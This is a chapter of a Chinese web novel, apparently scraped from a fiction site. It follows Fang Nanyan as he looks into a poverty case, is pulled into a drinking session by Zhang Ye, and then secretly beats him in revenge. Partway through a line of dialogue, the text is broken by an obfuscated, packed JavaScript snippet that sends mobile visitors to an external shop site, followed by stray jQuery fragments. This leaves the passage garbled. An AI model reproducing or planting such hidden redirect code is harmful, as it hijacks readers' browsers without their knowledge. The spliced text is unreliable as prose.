文趣网 > 其他小说 > 被糟蹋的老实人决定反击 > 13. 方局发疯
    方南雁还没来得及担心楼烟蔷,刘莺往他手里递了一张表,是李滨的回访表,“上头给打回来了。”

    线上表格也在系统里打回了。

    方南雁更确信想要结束帮扶计划,他就必须搞得李滨这个人。

    他调出李滨的信息,一个中年beta,无父无母,没结婚没孩子。

    方南雁抬头问刘莺:“拆迁赔款赔房给他了,怎的还是贫困户?”

    办公室里没别人,张烨跟着别人跑出去打牌去了,刘莺才说:“给他爱人治病了。”

    “爱人?”

    方南雁又看了两遍信息,李滨是未婚状态,也没有孩子的信息。

    刘莺叹了口气,这才说起李滨的事。

    李滨原先是湿地公园那块的住民,住着三十平的老房子,但为人上进,自学了修车的手艺,把老房子一楼改成修车铺,加盖了二楼做饭睡觉。

    后来,村里来了个生病的哑巴,李滨看那人可怜就带回去照顾,本想治好了就送他回家,但那哑巴是个腿有残疾的Alpha,家里早就不要他了。

    李滨只好留下了他,说要是哑巴不嫌他是个没用的Beta,两人就搭伙过日子。

    后来哑巴给李滨生了个小Alpha。

    刘莺面露唏嘘,“给孩子上户口的时候出了问题,那会儿Beta和Alpha拿不了结婚证,单身B和A又没法给孩子落户,就一直拖到现在。”

    方南雁心里打了个突,在心里暗暗地想:B和A能生得出孩子,那A跟A……会不会更容易……

    他面上不露紧张,坦然道:“那他们现在……”

    刘莺抬手表示你听我继续说。

    那会儿湿地公园计划刚提上日程,整个村陆续开始签协议,李滨就加了个条件,要求搞定孩子的户口问题。

    后来就把孩子以兄弟的名义落到了李滨的户口上。

    但他看过了,李滨户口上只有他一个人。

    方南雁脑子转得快,问道:“那时还是按人头赔款吧?”

    刘莺肯定地眨了下眼,“赔款要落实的时候,他们逼李滨把孩子的户口挪出去了。”

    方南雁不理解李滨怎么会同意,一个人头少说赔八十万。

    “他爱人病了,需要钱。”

    大约七年前,哑巴得了重病,但赔款不能即刻落实,工程那边得知消息来跟李滨谈,五十万,把孩子户口挪出去。

    李滨除了答应,没有别的办法。

    方南雁看向刘莺,刘莺一笑,“你想问哑巴怎么样了?”

    方南雁点了头。

    “他死了。一期化疗都没扛过去。”

    方南雁有点不忍心听了,但还是盯着刘莺。

    刘莺又笑,“你还想问那个孩子?”

    方南雁再次点了头。

    “快要上初中了。”

    方南雁松了口气,“那李滨是想把孩子的户口转回来?”

    刘莺露出无奈的笑,“对啊,李滨现在住地方能分去最好的初中。”

    但那块地要二次开发,李滨的住所又被划分到开发区了,户口挪不回来的。

    走出办公大楼的时候,张烨从悬浮车上下来,转着车卡对方南雁挑眉。

    方南雁没看见他,他现在满脑子都是李滨的事。

    张烨左肩膀送到身前,在他胸口挑衅似的撞了一下。

    “喂,你瞎了?”

    方南雁垂下眼看他,“你又要干什么?”

    张烨得意洋洋耸鼻子,“你跟我走。”

    方南雁眯了眯眼,“为什么。”

    张烨揪起他的衣领直接把他塞进悬浮车,“啰嗦死了,你要是想搞定李滨,就跟我站在一起。”

    这是方南雁第一次坐悬浮车。之前兼职服务生在后台操控过,听同事说有钱都不见得买得到。

    如今真正坐上来了,方南雁扁着嘴浑身不适。

    这玩意也就在外头看着有面子。

    坐进来跟入殓一样,侧过头还会直面张烨不甚好看的脸,当真生不如死。

    但悬浮车胜在速度快,而且有专用车道,半小时就抵达目的地。

    下车即是灯红酒绿夜,方南雁背上还背着张烨说土掉渣的包,他捋捋书包带,面上不见忐忑。

    他有点担心楼先生晚上去找他。

    张烨用拳头杵杵方南雁的后腰窝,“喂,换身衣服去,别寒酸死大客人。”

    方南雁腰背挺直,抬着脸看极速变幻的粒子灯,“没钱。”

    “给你穷横的,本少爷还能让你这穷鬼花钱?”

    张烨揪起方南雁的衣领,抓着他走进他的专属私服会所。

    方南雁很快换了一身衣服。

    张烨上下打量他,啧啧有声,正要说一句“果然人靠衣装马靠鞍”,方南雁挎起他的小破包。

    “啧,这破包丢了能要你命?”

    方南雁对他皮笑肉不笑:“会要你的命。”

    他真笑时眉眼弯弯,此时只弯了嘴角露出森然的尖牙。

    张烨打了个冷战,甩头骂他是个扶不上墙的寒酸鬼,“活该你穷,穷死你这辈子得了!”

    方南雁跟在他身侧,没有反驳。

    他身边穷死的人可太多了,早就司空见惯习以为常,这话对他来说早已不是诅咒,连激起恐惧都特难。

    张烨把他介绍给酒局上的人,方南雁有些木愣地给别人倒酒。

    桌上的人五官变得很模糊,大约是眼睛被他们身上休闲但昂贵的饰品刺花了。

    他只是倒酒,要他喝他就喝,要他笑他就很淡地笑一下。

    但大客人好几次跟方南雁搭话,他没接上话茬。

    张烨攒的局持续了两个小时,张烨熟练地把他们送去玩乐,方南雁才有机会去卫生间把喝下去的酒全吐出来。

    他扣着嗓子眼,想吐出来的不止是酒,还有更多被雪茄、香薰腌进皮肉里的腌臜。

    一张车卡甩在洗手台上,张烨一巴掌挤开他,走进里室,松了裤头开始放水。

    方南雁眨眨模糊的眼睛,掬一捧水抹脸,再睁开眼,车卡变得清晰可见。

    时代进步如此快,应酬的方式竟数十年如一日,靠桌上吹嘘兄弟长兄弟短、靠推杯置盏交换人情。

    水珠滴在池子里,方南雁向后抓抓额发,饱满的额头透了气,他的情绪稳定地翻起手背冰镇脸颊上的酡红。

    一只胳膊搭在肩膀上,张烨张着酒味的嘴说:“小方啊,你是真不识抬举还是学不会

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675983|207464||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    装孙子。没人教你怎么陪酒?你不把人哄高兴,谁特么给你办事,啊?”

    方南雁皱起眉头藏住眼里很淡的厌烦,“你喝多了。”

    张烨嗤笑一声,突然飞起一掌把方南雁推得摔进外面的角落,柜门被撞开,拖把扫帚倒了一地。

    张烨指着就骂:“我喝多了!对,我特么就是喝多了,因为你没用我才喝多了!”

    “别发酒疯,不嫌丢人。”

    方南雁站起身,背起包要走。

    张烨扒下他的背包摔在地上,“你还有脸嫌我丢人,特么的要不是我热场子,今晚我们把人得罪透了!”

    别说求人办事了,怕是想回S市都成了难事!

    张烨指着方南雁地鼻子,“你特么知道你自己几斤几两不?你想一辈子烂在潇西,我可不想!”

    方南雁垂下眼,突然想起一件事——张局可不止张烨这一个儿子啊。

    张烨既不是最有出息的,也不是长得最好看的,这次历练大概是张局给他的试金石吧。

    他若是金子自会杀回S市,他若不是,便在潇西县当一块顽石。

    这样的纨绔子弟,竟也有自己的烦恼呢。

    方南雁突然就笑了。

    张烨眯起醉眼,“你笑什么。”

    方南雁盯着他脸颊上的酡红,“笑你爸也没多大本事。”

    张烨的职业都不是一帆风顺,让他心里好受了些。

    张烨突然愣住了,这样幼稚却朴实无华的话竟能成一把窝心刀,他张口就骂:“你那个当陪酒小姐的妈就在乎你了?看家本领都不教给你这条看门狗,你哪来的资格挤兑我!”

    方南雁眸中黑了一瞬,他嘴角颤抖着咧出一个笑:“哦,那我们还算同病相怜呢。”

    他推开张烨,迈开长腿离开卫生间。

    张烨被扫帚绊倒,在地上打滑半分钟才爬起来,嘟嘟囔囔着边骂边往外走。

    悬浮车停在专用停车场,途径会所后侧,一大片绿化里空气清新,最适合醒酒散步。

    张烨伸了个懒腰,一抬眼被监控的红点闪了一下。

    刺痛了眼,张烨低头骂了一句脏话,再抬眼监控已经关了。

    他嘻嘻一笑,“挺有眼力见,知道晃到本少爷了。”

    他打了个酒嗝,嘴里嘀哩啦哩地哼着歌,晚上喝多了酒,这会儿又想放水。

    他左看右看,随便找了个草丛。

    刺骨的风扑了背心窝,张烨打了个冷颤,一回头,一根黑漆漆的棍子兜头飞来!

    酒精麻痹了神经,呼救声卡在喉咙。

    又是一棍子砸来,视线天旋地转,他一头栽进草丛里。

    棍子雨点似的落在身上,张烨含糊地叫唤了几声。

    一双手捂住他的嘴,醉了的人很快闷晕过去了。

    但揍一个喝醉的人最不解气的点就是他压根不觉得疼。

    不疼是吧?方南雁肆无忌惮地多攮了他几棍子,直到地上的人抽搐完不动了才停下来。

    “陪酒小姐怎么了,陪酒小姐吃你家饭了还是抢你钱了。”

    方南雁嘀咕着又狠狠往他腰窝上踹了好几个泥印子。

    小腹一阵抽搐,方南雁扶着树喘口醉气,力气全被尖锐的疼吸走。